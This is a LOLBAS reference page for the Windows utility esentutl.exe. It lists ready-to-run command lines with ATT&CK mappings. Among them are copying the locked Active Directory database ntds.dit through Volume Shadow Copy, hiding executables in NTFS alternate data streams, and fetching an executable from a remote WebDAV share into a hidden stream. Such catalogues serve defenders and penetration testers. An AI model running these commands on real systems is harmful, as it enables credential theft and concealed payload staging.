Esentutl | LOLBAS

.. /Esentutl.exe
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Copy
Alternate data streams
Download

Binary for working with Microsoft Joint Engine Technology (JET) database

Paths:

Resources:

Acknowledgements:

Detections:

Copy

  1. Copies the source VBS file to the destination VBS file.

    esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o
    Use case
    Copies files from A to B
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

  2. Copies a (locked) file using Volume Shadow Copy

    esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit
    Use case
    Copy/extract a locked file such as the AD Database
    Privileges required
    Admin
    Operating systems
    Windows 10, Windows 11, Windows 2016 Server, Windows 2019 Server
    ATT&CK® technique
    T1003.003

Alternate data streams

  1. Copies the source EXE to an Alternate Data Stream (ADS) of the destination file.

    esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o
    Use case
    Copy file and hide it in an alternate data stream as a defensive counter measure
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

  2. Copies the source Alternate Data Stream (ADS) to the destination EXE.

    esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o
    Use case
    Extract hidden file within alternate data streams
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

  3. Copies the remote source EXE to the destination Alternate Data Stream (ADS) of the destination file.

    esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o
    Use case
    Copy file and hide it in an alternate data stream as a defensive counter measure
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Download

  1. Copies the source EXE to the destination EXE file

    esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
    Use case
    Use to copy files from one unc path to another
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004